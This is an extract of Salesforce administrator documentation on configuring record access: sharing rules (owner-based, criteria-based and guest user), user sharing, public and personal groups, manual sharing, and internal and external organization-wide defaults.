**Warning:** The guest user sharing rule type grants access to guest users without login credentials. By creating a guest user sharing rule, you’re allowing immediate and unlimited access to all records matching the sharing rule’s criteria to anyone. To secure your Salesforce data and give your guest users access to what they need, consider all the use cases and implications of creating this type of sharing rule. Implement security controls that you think are appropriate for the sensitivity of your data. Salesforce is not responsible for any exposure of your data to unauthenticated users based on this change from default settings.

You can also create sharing rules based on group membership.

Create Owner-Based Sharing Rules

An owner-based sharing rule opens access to records owned by certain users.

1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
2. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings.
3. In the Sharing Rules related list for the object, click New.
4. Enter the label name and rule name. The label name appears on the user interface. The rule name is a unique name used by the API and managed packages.
5. Optionally, enter a description of the sharing rule, up to 1,000 characters.
6. For the rule type, select Based on record owner.
7. Specify which users’ records are shared. For owned by members of, select a category from the first dropdown list and a set of users from the second dropdown list or lookup field.
8. Specify the users who get access to the data. For Share with, select a category from the first dropdown list and a set of users from the second dropdown list or lookup field.
9. Select sharing access settings for users. Some access settings aren’t available for some objects or in some situations.

<table>
<thead>
<tr>
<th>Access Setting</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Private</td>
<td>Users can’t view or update records, unless access is granted outside of this sharing rule. Available only for associated contacts, opportunities, and cases.</td>
</tr>
<tr>
<td>Read Only</td>
<td>Users can view, but not update, records.</td>
</tr>
<tr>
<td>Read/Write</td>
<td>Users can view and update records.</td>
</tr>
</tbody>
</table>
### Access Setting

<table>
<thead>
<tr>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Full Access</strong></td>
</tr>
</tbody>
</table>

Users in the selected group, role, or territory can view, edit, transfer, delete, and share the record, just like the record’s owner. With a Full Access sharing rule, users can also view, edit, delete, and close activities associated with the record if the org-wide sharing setting for activities is Controlled by Parent. Available for campaigns only.

**Note:** Contact Access isn’t available when the organization-wide default for contacts is set to Controlled by Parent.

**10.** Click **Save**.

## Create Criteria-Based Sharing Rules

A criteria-based sharing rule determines who to share records with based on field values.

1. To include public groups in your sharing rule, confirm that those groups were created.
2. From Setup, in the Quick Find box, enter **Sharing Settings**, and then select **Sharing Settings**.
3. In the Sharing Rules related list for the object, click **New**.
4. Enter the label name and rule name. The label name appears on the user interface. The rule name is a unique name used by the API and managed packages.
5. Optionally, enter a description of the sharing rule of up to 1,000 characters.
6. For the rule type, select **Based on criteria**.
7. Specify the field, operator, and value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. To change the AND relationship between filters, click **Add Filter Logic**. The value criteria is limited to 240 characters, and strings or picklist values that go beyond this limit are truncated.

**Note:** You can use a field that’s not supported by criteria-based sharing rules. Create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field. Then use that field as the criterion.

8. If available, select whether to include records owned by users who can’t have an assigned role, such as high-volume users and system users. This setting is enabled by default and can’t be edited after you save the rule.

**Note:** To include these users in criteria-based sharing rules that were created before Spring `22, delete the rule and select **Include records owned by users who can’t have an assigned role** when you recreate it.

9. Specify the users who get access to the data. For Share with, select a category from the first dropdown list and a set of users from the second dropdown list or lookup field.
10. Select sharing access settings for users. Some access settings aren’t available for some objects or in some situations.
### Access Setting | Description
--- | ---
Private | Users can’t view or update records, unless access is granted outside of this sharing rule. Available only for associated contacts, opportunities, and cases.
Read Only | Users can view, but not update, records.
Read/Write | Users can view and update records.
Full Access | Users in the selected group, role, or territory can view, edit, transfer, delete, and share the record, just like the record’s owner. With a Full Access sharing rule, users can also view, edit, delete, and close activities associated with the record if the org-wide sharing setting for activities is Controlled by Parent. Available for campaigns only.

**Note:** Contact Access isn’t available when the organization-wide default for contacts is set to Controlled by Parent.

11. Save your work.

### Create Guest User Sharing Rules

A guest user sharing rule is a special type of criteria-based sharing rule and the only way to grant record access to unauthenticated guest users. Guest user sharing rules can only grant Read Only access.

**Important:** You must create guest user sharing rules to open up record access to guest users. Keep in mind that the guest user sharing rule type grants access to users without login credentials. By creating a guest user sharing rule, you’re allowing immediate and unlimited access to all records matching the sharing rule’s criteria to anyone. To secure your Salesforce data and give your guest users access to what they need, consider all the use cases and implications of creating this type of sharing rule. Implement security controls that you think are appropriate for the sensitivity of your data. Salesforce is not responsible for any exposure of your data to unauthenticated users based on this change from default settings.

1. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings.
2. In the Sharing Rules related list for the object, click New.
3. Enter the label name and rule name. The label name appears on the user interface. The rule name is a unique name used by the API and managed packages.
4. Optionally, enter a description of the sharing rule, up to 1,000 characters.
5. For the rule type, select Guest user, based on criteria.
6. Specify the field, operator, and value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. To change the AND relationship between filters, click Add Filter Logic. The value criteria is limited to 240 characters, and strings or picklist values that go beyond this limit are truncated.
Note: To use a field that’s not supported by criteria-based sharing rules, create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field. Then use that field as the criterion.

7. If available in your org, select whether to include records owned by high-volume community or site users. By default, sharing rules include only records owned by authenticated users, guest users, and queues.

Tip: High-volume users don’t have roles and include the External Apps, Customer Community, High Volume Customer Portal, and Authenticated Website license types. For more information, see About High-Volume Community or Site Users in Salesforce Help.

8. Specify the users who get access to the data.

9. Click Save.

Sharing Rule Categories

When you define a sharing rule, you can choose from the following categories in the owned by members of and Share with dropdown lists. Depending on the type of sharing rule and the features enabled for your organization, some categories may not appear.

Note: You can’t include high-volume E users in sharing rules because they don’t have roles and can’t be in public groups.

<table>
<thead>
<tr>
<th>Category</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Managers Groups</td>
<td>All direct and indirect managers of a user.</td>
</tr>
<tr>
<td>Manager Subordinates Groups</td>
<td>A manager and all direct and indirect reports who he or she manages.</td>
</tr>
<tr>
<td>Queues</td>
<td>All records owned by the queue, excluding records owned by individual members of the queue. Available only in the owned by members of list.</td>
</tr>
<tr>
<td>Public Groups</td>
<td>All public groups defined by your administrator.</td>
</tr>
<tr>
<td></td>
<td>If Salesforce Experiences or portals are enabled for your organization, the All Partner Users or All Customer Portal Users group displays. These groups include all partner or customer users, respectively, allowed to access your site or portal, except for high-volume users.</td>
</tr>
<tr>
<td>Roles</td>
<td>All roles defined for your organization, excluding site and portal roles. This includes all of the users in the specified role.</td>
</tr>
<tr>
<td>Portal Roles</td>
<td>All roles defined for your organization’s site or portal. This includes all users in the specified role, except high-volume users. A site or portal role name includes the name of the account that it’s associated with, except for person accounts, which include the user Alias.</td>
</tr>
<tr>
<td>Roles and Subordinates</td>
<td>All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role. This</td>
</tr>
<tr>
<td>Category</td>
<td>Description</td>
</tr>
<tr>
<td>----------------------------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>is only available when no Salesforce Experience sites or portals are enabled for your organization.</td>
<td></td>
</tr>
<tr>
<td>Portal Roles and Subordinates</td>
<td>All roles defined for your organization’s site or portal. This includes all of the users in the specified role plus all of the users below that role in the site or portal role hierarchy, except for high-volume users.</td>
</tr>
<tr>
<td></td>
<td>A site or portal role name includes the name of the account that it’s associated with, except for person accounts, which include the user Alias.</td>
</tr>
<tr>
<td>Roles and Internal Subordinates</td>
<td>All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, excluding site and portal roles.</td>
</tr>
<tr>
<td></td>
<td>This category is displayed only if Salesforce Experiences or portals are enabled for your organization.</td>
</tr>
<tr>
<td>Roles, Internal and Portal</td>
<td>All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, including site and portal roles.</td>
</tr>
<tr>
<td>Subordinates</td>
<td></td>
</tr>
<tr>
<td>Territories</td>
<td>All territories defined for your organization.</td>
</tr>
<tr>
<td>Territories and Subordinates</td>
<td>All territories defined for your organization. This includes the specified territory plus all territories below it.</td>
</tr>
<tr>
<td>Guest User</td>
<td>All unauthenticated users in a site.</td>
</tr>
</tbody>
</table>

**Edit Sharing Rules**

For a sharing rule based on owner or group membership, you can edit only the sharing access settings. For a sharing rule based on other criteria, you can edit the criteria and sharing access settings.

1. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings.
2. In the Sharing Rules related list for the object, click Edit.
3. Change the label and rule name if desired.
4. If you selected a rule that’s based on owner or group membership, skip to the next step.

   If you selected a criteria-based or guest user sharing rule, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. To change the AND relationship between filters, click Add Filter Logic.

   **Note:** You must create guest user sharing rules to open up record access to guest users. Keep in mind that the guest user sharing rule type grants access to users without login credentials. By creating a guest user sharing rule, you’re allowing immediate and unlimited access to all records matching the sharing rule’s criteria to anyone. To secure your Salesforce data and give your guest users access to what they need, consider all the use cases and implications of creating this type of sharing rule. Implement security controls that you think are appropriate for the sensitivity of your data. Salesforce is not responsible for any exposure of your data to unauthenticated users based on this change from default settings.
5. Select sharing access settings for users. Some access settings aren’t available for some objects or in some situations.

<table>
<thead>
<tr>
<th>Access Setting</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Private</td>
<td>Users can’t view or update records, unless access is granted outside of this sharing rule. Available only for associated contacts, opportunities, and cases.</td>
</tr>
<tr>
<td>Read Only</td>
<td>Users can view, but not update, records. Guest user sharing rules can only grant Read Only access.</td>
</tr>
<tr>
<td>Read/Write</td>
<td>Users can view and update records.</td>
</tr>
<tr>
<td>Full Access</td>
<td>Users in the selected group, role, or territory can view, edit, transfer, delete, and share the record, just like the record’s owner. With a Full Access sharing rule, users can also view, edit, delete, and close activities associated with the record if the org-wide sharing setting for activities is Controlled by Parent. Available for campaigns only.</td>
</tr>
</tbody>
</table>

**Note:** Contact Access isn’t available when the organization-wide default for contacts is set to Controlled by Parent.

6. Click **Save**.

### Sharing Rule Considerations

Review these considerations before using sharing rules.

- **General Considerations**
  - You can use sharing rules to grant wider access to data. You can’t restrict access below your organization-wide default levels.
  - To create sharing rules, your organization-wide defaults must be Public Read Only or Private.
  - If multiple sharing rules give a user different levels of access to a record, the user gets the most permissive access level.
  - Sharing rules automatically grant additional access to related records. For example, opportunity sharing rules give role or group members access to the account associated with the shared opportunity. Contact and case sharing rules also provide the role or group members with access to the associated account.
  - Users in the role hierarchy automatically are granted the same access that users below them in the hierarchy have from a sharing rule provided that the object is a standard object or the Grant Access Using Hierarchies option is selected.
  - Users who don’t have licenses that support roles can only be included in some types of sharing rules, to receive access and to have records that they own shared. High-volume community or site users, Chatter External, and Chatter Free users can’t be included in owner-based sharing rules. You can share records owned by high-volume users in guest user or criteria-based sharing rules.
  - Users who can’t have an assigned role can be included in criteria-based sharing rules that were created after the Spring ’22 release. To include these users in criteria-based sharing rules that were created before Spring ’22, delete the rule and select...
Include records owned by users who can't have an assigned role when you recreate it. These users can’t be included in other types of sharing rules.

- You can’t use encrypted fields in criteria-based sharing rules.

Availability

- Account, campaign, case, contact, lead, opportunity, and custom object sharing rules are available for Enterprise, Performance, Unlimited, and Developer Editions.
- Only account, asset, campaign, and contact sharing rules are available in Professional Edition.
- Only custom object sharing rules are available in Database.com
- Criteria-based sharing rules aren’t available for all objects.
- Your org can have other objects that are available for sharing rules. To see which sharing rules are available, see the Sharing Settings setup page.

Updating

- Creating an owner-based sharing rule with the same source and target groups as an existing rule overwrites the existing rule.
- After a sharing rule is saved, you can’t change the Share with field settings when you edit the sharing rule.
- Sharing rules apply to all new and existing records that meet the definition of the source dataset.
- Sharing rules apply to active and inactive users.
- When you change the access levels for a sharing rule, all records automatically are updated to reflect the new access levels.
- When you delete a sharing rule, the sharing access created by that rule is removed.
- When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove access as necessary.
- When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the transferred records as necessary.
- Changing sharing rules can require changing a large number of records at once. If your request is queued to process these changes efficiently, you receive an email notification when the process has completed.
- Lead sharing rules don’t automatically grant access to lead information after leads are converted into account, contact, and opportunity records.

Site and Portal Users

- You can create rules to share records between most types of site or portal and Salesforce users. And you can create sharing rules between site or portal users from different accounts as long as their license type supports roles. But you can’t include high-volume community or site users in owner-based sharing rules because they don’t have roles and can’t be in public groups. You can share records owned by high-volume users in guest user or criteria-based sharing rules.
- After enabling digital experiences, existing sharing rules automatically extend access to external users. This change occurs because sharing rules that grant access to Roles and Subordinates are converted to grant access to Roles, Internal and Portal Subordinates instead. To ensure that external users can’t access records or folders containing sensitive data, update your sharing rules.
- You can easily convert sharing rules that include Roles, Internal, and Portal Subordinates to include Roles and Internal Subordinates instead by using the Convert External User Access Wizard on the Digital Experiences Settings Setup page. You can use this wizard to convert any publicly accessible report, dashboard, and document folders to folders that are accessible by all users except for external users. For more information, see Considerations for the Convert External User Access Wizard.
- You can only use guest user sharing rules to share records with unauthenticated guest users.
- For more information on using sharing rules in Experience Cloud sites, check out this video.
Managed Package Fields If a criteria-based sharing rule references a field from a licensed managed package whose license has expired, \((\text{expired})\) is appended to the label of the field. The field label appears in the field dropdown list on the rule’s definition page in Setup. Criteria-based sharing rules that reference expired fields aren’t recalculated, and new records aren’t shared based on those rules. But the sharing of existing records before the package’s expiration is preserved.

Recalculate Sharing Rules

When you make changes to groups, roles, and territories, sharing rules are reevaluated to add or remove access as necessary.

Changes could include adding or removing individual users from a group, role, or territory, changing which role a particular role reports to, changing which territory a particular territory is subordinate to, or adding or removing a group from within another group.

Note: Use the Recalculate buttons on the Sharing Rules related lists only if sharing rule updates have failed or aren’t working as expected.

To manually recalculate an object’s sharing rules:

1. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings.
2. In the Sharing Rules related list for the object you want, click Recalculate.
3. If you want to monitor the progress of a recalculation, from Setup, in the Quick Find box, enter Background Jobs, then select Background Jobs.

Note: The Recalculate button is disabled when group membership or sharing rule calculations are deferred.

When sharing is recalculated, Salesforce also runs all Apex sharing recalculations. During sharing rule recalculation, related object sharing rules are calculated as well. For example, when recalculating sharing rule for opportunities, account sharing rules are recalculated since opportunity is a detail of an account object. You receive an email notification when the recalculation is completed for all affected objects.

Automatic sharing rule calculation is enabled by default. You can defer sharing rule calculation by suspending and resuming at your discretion.
Asynchronous Parallel Recalculation of Sharing Rules

To improve performance, sharing rule recalculation is run asynchronously and in parallel by default. When you create, update, or delete sharing rules, the resulting recalculation is processed asynchronously and in parallel in the background, which speeds up the process and provides better resilience to site operations such as patches and server restarts. You’ll receive an email notification upon completion. Before the recalculation is completed, you can’t run other sharing operations such as creating a sharing rule or updating the organization-wide defaults.

Parallel sharing rule recalculation is also run if you click the Recalculate button on the Sharing Settings or Defer Sharing Calculations pages.

You can monitor the progress of your parallel recalculation on the Background Jobs page or view your recent sharing operations on the View Setup Audit Trail page.

Note: If the number of impacted records from an owner-based sharing rule insert or update is less than 25,000, recalculation runs synchronously and you won’t receive an email notification when it’s completed. Owner-based sharing rule inserts and updates impacting less than 25,000 records are not available on the Background Jobs page.

Recalculation of sharing rules maintains implicit sharing between accounts and child records. In the Background Jobs page, these processes correspond to these job sub types: Account — Extra Parent Access Removal and Account — Parent Access Grant. Additionally, deleting a sharing rule corresponds to the job sub type Object — Access Cleanup, denoting that irrelevant share rows are removed.

Note: To improve performance, we recommend that you enable faster account sharing recalculation. Instead of storing implicit share records between accounts and their child case, contact, and opportunity records, the system dynamically determines whether users can access these records when they try to access them. For more information, see the Faster Account Sharing Recalculation knowledge article.

User Sharing

User Sharing enables you to show or hide an internal or external user from another user in your organization.

Watch a demo: Who Sees What: User Sharing (English only)

With User Sharing, you can:

- Assign the “View All Users” permission to users who need to see or interact with all users. This permission is automatically enabled for users who have the “Manage Users” permission.
- Set the organization-wide default for user records to Private or Public Read Only.
- Create user sharing rules based on group membership or other criteria.
- Create manual shares for user records to open up access to individual users or groups.
- Control the visibility of external users.

IN THIS SECTION:

Understanding User Sharing
Review these considerations before you implement user sharing.

Set the Org-Wide Sharing Defaults for User Records
Set the org-wide sharing defaults for the user object before opening up access.
Understanding User Sharing

Review these considerations before you implement user sharing.

Granting access to a user record makes the user’s detail page visible to others. It also makes the user visible in lookups, list views, search, and so on.

“View All Users” permission
This permission can be assigned to users who need Read access to all users, regardless of the sharing settings. If you already have the “Manage Users” permission, you’re automatically granted the “View All Users” permission.

Organization-wide defaults for user records
This setting defaults to Private for external users and Public Read Only for internal users. When the default access is set to Private, users can only read and edit their own user record. Users with subordinates in the role hierarchy maintain read access to the user records of those subordinates.

User sharing rules
General sharing rule considerations apply to user sharing rules. User sharing rules are based on membership to a public group, role, or territory. Each sharing rule shares members of a source group with those of the target group. You must create the appropriate public groups, roles, or territories before creating your sharing rules. Users inherit the same access as users below them in the role hierarchy.

Manual sharing for user records
Manual sharing can grant read or edit access on an individual user, but only if the access is greater than the default access for the target user. Users inherit the same access as users below them in the role hierarchy. Apex managed sharing isn’t supported.

User sharing for external users
Users with the “Manage External Users” permission have access to external user records for Partner Relationship Management, Customer Service, and Customer Self-Service portal users, regardless of sharing rules or organization-wide default settings for User records. The “Manage External Users” permission doesn’t grant access to guest or Chatter External users.

High-volume Experience Cloud site users and Chatter users
Only users with roles can be included in sharing rules. For this reason, the user records of high-volume users, Chatter External, and Chatter Free users can’t be included in sharing rules, and these users can’t be granted access to user records via a sharing rule.

Automated Process and License Manager users
Some special users created for org or app maintenance, such as Automated Process and License Manager users, can’t be included in any sharing rules, including user sharing rules.

User sharing compatibility
When the organization-wide default for the user object is set to Private, user sharing doesn’t fully support these features.

• Chatter Messenger isn’t available for external users. It’s available for internal users only when the organization-wide default for the user object is set to Public Read Only.
• Salesforce CRM Content—A user who can create libraries can see users they don’t have access to when adding library members.
• Standard Report Types—if the organization-wide default for the user object is Private and the Standard Report Visibility checkbox is selected, a person viewing the report can see the names of users that are listed in the report. To see details such as username and email address, the viewer must have access to the users.

User sharing in Chatter
In Chatter, there are exceptions where users who aren’t shared can still see and interact with each other. For example, regardless of user sharing, in a public Chatter group, everyone with access to the group can see all posts. They can also see the names of the users who post and mention users who commented on a post.
For example, you set up user sharing so Mary and Bob can’t see or interact with each other. Mary posts on a public Chatter group. She can’t mention Bob, because user sharing prevents Bob’s name from showing up in the mention dropdown list. However, Bob can see Mary’s post and he comments on her post. Now Mary can actually mention Bob in her next comment on her post.

There are also exceptions where users who aren’t shared can still see each other in the mention dropdown list. For example, Sue has interacted with Edgar in Chatter (by liking or commenting on his post or mentioning him). Then you set up user sharing so Sue can’t see Edgar. Sue posts on a public Chatter group. She can mention Edgar because, due to their previous interaction, his name shows up on the mention dropdown list. However, if Sue clicks the Edgar mention, she gets an error because, due to user sharing, she can’t see him.

**Set the Org-Wide Sharing Defaults for User Records**

Set the org-wide sharing defaults for the user object before opening up access.

For user records, you can set the organization-wide sharing default to Private or Public Read Only. The default must be set to Private if there is at least one user who shouldn’t see a record.

Let’s say that your organization has internal users (employees and sales agents) and external users (site or portal users) under different sales agents or accounts, with these requirements:

- Employees can see everyone.
- Sales agents can see employees, other agents, and their own customer user records only.
- External customers can see other customers only if they are under the same agent or account.

To meet these requirements, set the default external access to Private, and extend access using sharing rules, manual sharing, or user permissions.

When the feature is first turned on, the default access setting is Private for external users. The default for internal users is Public Read Only. To change the organization-wide defaults for external access to the user object:

1. From Setup, in the Quick Find box, enter *Sharing Settings*, then select *Sharing Settings*.
2. Click *Edit* in the Organization-Wide Defaults area.
3. Select the default internal and external access you want to use for user records.
   - The default external access must be more restrictive or equal to the default internal access.
4. Click *Save*.
   - Users have Read access to those below them in the role hierarchy and full access on their own user record.

**What Is a Group?**

A group consists of a set of users. A group can contain individual users, other groups, or the users in a particular role or territory. It can also contain the users in a particular role or territory plus all the users below that role or territory in the hierarchy.

There are two types of groups.

**Public groups**

Administrators and delegated administrators can create public groups. Everyone in the organization can use public groups. For example, an administrator can create a group for an employee carpool program. All employees can then use this group to share records about the program.
Personal groups

Each user can create groups for their personal use. For example, users might need to ensure that certain records are always shared within a specified workgroup.

Tip: Permission set groups consist of permission sets rather than users. Permission set groups bundle permission sets based on job functions or tasks. To learn more about permission set groups and why you use them, see Permission Set Groups.

You can use groups in the following ways.

- To set up default sharing access via a sharing rule
- To share your records with other users
- To specify that you want to synchronize contacts owned by other users
- To add multiple users to a Salesforce CRM Content library
- To assign users to specific actions in Salesforce Knowledge

IN THIS SECTION:

Create and Edit Groups

Only administrators and delegated administrators can create and edit public groups, but anyone can create and edit their own personal groups in Salesforce Classic. Personal groups aren’t available in Lightning.

Group Member Types

Many types of groups are available for various internal and external users.

Create and Edit Groups

Only administrators and delegated administrators can create and edit public groups, but anyone can create and edit their own personal groups in Salesforce Classic. Personal groups aren’t available in Lightning.

To create or edit a group:

1. Click the control that matches the type of group:
   - For personal groups, go to your personal settings in Salesforce Classic and click My Personal Information or Personal—whichever one appears. Then click My Groups. The Personal Groups related list is also available on the user detail page.
   - For public groups, from Setup, in the Quick Find box, enter Public Groups, then select Public Groups.

2. Click New, or click Edit next to the group you want to edit.

3. Enter this information:

<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Label</strong></td>
<td>The name used to refer to the group in any user interface pages.</td>
</tr>
<tr>
<td><strong>Group Name (public groups only)</strong></td>
<td>The unique name used by the API and managed packages.</td>
</tr>
</tbody>
</table>
To allow automatic access to records using your role hierarchies, select **Grant Access Using Hierarchies**. When selected, any records shared with users in this group are also shared with users higher in the hierarchy.

Deselect **Grant Access Using Hierarchies** if you’re creating a public group with All Internal Users as members, which optimizes performance for sharing records with groups.

**Note:** If **Grant Access Using Hierarchies** is deselected, users that are higher in the role hierarchy don’t receive automatic access. However, some users can still access records they don’t own. Examples of such users include users with the View All and Modify All object permissions and the View All Data and Modify All Data system permissions.

From the Search dropdown, select the type of member to add. If you don’t see the member you want to add, enter keywords in the search box and click **Find**.

**Note:** For account owners to see child records owned by high-volume Experience Cloud site users, they must be members of any share groups with access to the site users’ data.

Select members from the Available Members box, and click **Add** to add them to the group.

If your group contains more than 10,000 members, for improved performance, adjust group membership using the GroupMember API object instead of the group’s detail page in Setup.

In this list, specify any delegated administration groups whose members can add or remove members from this public group. Select groups from the Available Delegated Groups box, and then click **Add**. This list appears only in public groups.

4. Save your changes.

**Note:** When you edit groups, roles, and territories, sharing rules are recalculated to add or remove access as needed.
# Group Member Types

Many types of groups are available for various internal and external users. When you create or edit a group, you can select the following types of members from the Search drop-down list. Depending on your organization settings, some types may not be available.

<table>
<thead>
<tr>
<th>Member Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Customer Portal Users</td>
<td>All of your Customer Portal users. This is only available when a customer site or portal is enabled for your organization.</td>
</tr>
<tr>
<td>Partner Users</td>
<td>All of your partner users. This is only available when a partner site or portal is enabled for your organization.</td>
</tr>
<tr>
<td>Personal Groups</td>
<td>All of your own groups. This is only available when creating other personal groups.</td>
</tr>
<tr>
<td>Portal Roles</td>
<td>All roles defined for your organization’s site or portal. This includes all users in the specified role, except high-volume users.</td>
</tr>
<tr>
<td></td>
<td><strong>Note:</strong> A site or portal role name includes the name of the account that it’s associated with, except for person accounts, which include the user <strong>Alias</strong>.</td>
</tr>
<tr>
<td>Portal Roles and Subordinates</td>
<td>All roles defined for your organization’s site or portal. This includes all of the users in the specified role plus all of the users below that role in the site or portal role hierarchy, except for high-volume users.</td>
</tr>
<tr>
<td></td>
<td><strong>Note:</strong> A site or portal role name includes the name of the account that it’s associated with, except for person accounts, which include the user <strong>Alias</strong>.</td>
</tr>
<tr>
<td>Public Groups</td>
<td>All public groups defined by your administrator.</td>
</tr>
<tr>
<td>Roles</td>
<td>All roles defined for your organization. Adding a role to a group includes all of the users in that role, but does not include site or portal roles.</td>
</tr>
<tr>
<td>Roles and Internal Subordinates</td>
<td>Adding a role and its subordinate roles includes all of the users in that role plus all of the users in roles below that role. This doesn’t include site or portal roles or users.</td>
</tr>
</tbody>
</table>

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## EDITIONS

Available in: both Salesforce Classic (not available in all orgs) and Lightning Experience

Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions

The member types that are available vary depending on your edition.

## USER PERMISSIONS

To create or edit a public group:
- Manage Users

To create or edit another user’s personal group:
- Manage Users
<table>
<thead>
<tr>
<th>Member Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Roles and Subordinates</td>
<td>Adding a role and its subordinate roles includes all of the users in that role plus all of the users in roles below that role. This is only available when no Salesforce Experience sites or portals are enabled for your organization.</td>
</tr>
<tr>
<td>Roles, Internal and Portal Subordinates</td>
<td>Adding a role and its subordinate roles includes all of the users in that role plus all of the users in roles below that role. This is only available when Salesforce Experiences or portals are enabled for your organization. This includes site and portal users.</td>
</tr>
<tr>
<td>Users</td>
<td>All users in your organization. This doesn’t include site or portal users.</td>
</tr>
</tbody>
</table>

**Note:** You can’t add unauthenticated guest users to public groups.

### Manual Sharing

Manual sharing gives other users access to certain types of records, including accounts, contacts, and leads.

Sometimes, granting access to one record includes access to all its associated records. For example, if you grant another user access to an account, the user automatically has access to all the opportunities and cases associated with that account.

To grant access to a record, you must be one of the following users:

- The record owner
- A user in a role above the owner in the hierarchy (if your organization’s sharing settings control access through hierarchies)
- Any user granted Full Access to the record
- An administrator

If a user transfers ownership of a record, Salesforce deletes any manual shares created by the original record owner, which can cause users to lose access. When account ownership is transferred, manual shares created by the original account owner on child records, such as opportunities and cases, are also deleted.

When the parent account for a contact associated with a portal or community user changes, manual shares for custom object records that were shared with the portal or community user are deleted.

**Note:** When the parent account for an opportunity changes, manual shares for the opportunity are deleted if the user making the change isn’t allowed to share the new parent account. But when the new parent account owner, someone above them in the role hierarchy, or a Salesforce admin changes the parent account, the manual shares aren’t deleted.
Organization-Wide Sharing Defaults

Define the default access level for an object’s records with organization-wide sharing settings. Organization-wide sharing settings can be set separately for custom objects and many standard objects. You can set different levels of access for internal, external, and guest users.

For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or Public Read/Write. In environments where the organization-wide sharing setting for an object is Private or Public Read Only, an admin can grant users additional access to records by setting up a role hierarchy or defining sharing rules. However, sharing rules can only be used to grant additional access—they can’t be used to restrict access to records beyond what was originally specified with the organization-wide sharing defaults.

IN THIS SECTION:

Set Your Internal Organization-Wide Sharing Defaults
Internal organization-wide sharing defaults set the baseline access for your internal users for your records. You can set the defaults separately for different objects.

External Organization-Wide Defaults Overview
External organization-wide defaults provide separate organization-wide defaults for internal and external users. They simplify your sharing rules configuration and improve recalculation performance. Additionally, you can easily see which information is being shared to external users.

Set Your Internal Organization-Wide Sharing Defaults
Internal organization-wide sharing defaults set the baseline access for your internal users for your records. You can set the defaults separately for different objects.

To set default sharing access:

1. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings.
2. Click Edit in the Organization-Wide Defaults area.
3. For each object, select the default internal access that you want to use. For information on setting the default external access, see External Organization-Wide Defaults Overview.
4. To disable automatic access using your hierarchies for custom objects, deselect Grant Access Using Hierarchies. You can only deselect this setting for custom objects that don’t have a default access of Controlled by Parent. For more information, see Controlling Access Using Hierarchies in Salesforce Help.

When you update organization-wide defaults, sharing recalculation applies the access changes to your records. If you have a lot of data, the update can take longer.

If you’re increasing the default access, such as from Public Read Only to Public Read/Write, your changes take effect immediately. All users get access based on the updated default access. Sharing recalculation is then run asynchronously to ensure that all redundant access from manual or sharing rules is removed. When the default access for contacts is Controlled by Parent and you increase the default access for accounts, opportunities, or cases, the changes take effect after recalculation is run. If you’re decreasing the default access, such as from Public Read/Write to Public Read Only, your changes take effect after recalculation is run.
You’ll receive a notification email when the recalculation completes. Refresh the Sharing Settings page to see your changes. To view the update status, from Setup, in the Quick Find box, enter View Setup Audit Trail, then select View Setup Audit Trail.

The organization-wide sharing default setting can’t be changed for some objects:

- Service contracts are always Private.
- User provisioning requests are always Private.
- The ability to view or edit a document, report, or dashboard is based on a user’s access to the folder in which it’s stored.
- Users can view forecasts only of users and territories below them in the forecast hierarchy, unless forecast sharing is enabled.
- When a custom object is on the detail side of a master-detail relationship with a standard object, its organization-wide default is set to Controlled by Parent and it is not editable.
- The organization-wide default settings can’t be changed from private to public for a custom object if Apex code uses the sharing entries associated with that object. For example, if Apex code retrieves the users and groups who have sharing access on a custom object Invoice__c (represented as Invoice__share in the code), you can’t change the object’s organization-wide sharing setting from private to public.

**Note:** Also, if the default access for Account is set to Private, the default access for Opportunity and Case must be set to Private as well. The default access for Contact must be set to Private or Controlled by Parent.

### External Organization-Wide Defaults Overview

External organization-wide defaults provide separate organization-wide defaults for internal and external users. They simplify your sharing rules configuration and improve recalculation performance. Additionally, you can easily see which information is being shared to external users.

For example, to configure more restrictive access for external users, set the default internal access to Public Read Only or Public Read/Write and the default external access to Private. These settings also speed up performance for reports, list views, searches, and API queries.

**Note:** The external access level for an object can’t be more permissive than the internal access level.

You can set external organization-wide defaults for these objects. Your org might have other objects whose external organization-wide defaults can be modified.

- Account
- Asset
- Case
- Campaign
- Contact
- Individual
- Lead
- Opportunity
- Order
- User
- Custom Objects

External organization-wide defaults aren’t available for some objects, but you can achieve the same behavior with sharing rules. Set the default access to Private and create a sharing rule to share records with all internal users.

External users include:
• Authenticated website users
• Chatter external users
• Site users
• Customer Portal users
• High-volume Experience Cloud site users
• Partner Portal users
• Service Cloud Portal users

Note: Chatter external users have access to only the User object.

Guest users aren’t considered external users. Guest users’ org-wide defaults are set to Private for all objects, and this access level can’t be changed.

Learn more about external org-wide default settings in this video.

IN THIS SECTION:

Set Your External Organization-Wide Sharing Defaults

External organization-wide defaults enable you to set a different default access level for external users.

Set Your External Organization-Wide Sharing Defaults

External organization-wide defaults enable you to set a different default access level for external users.

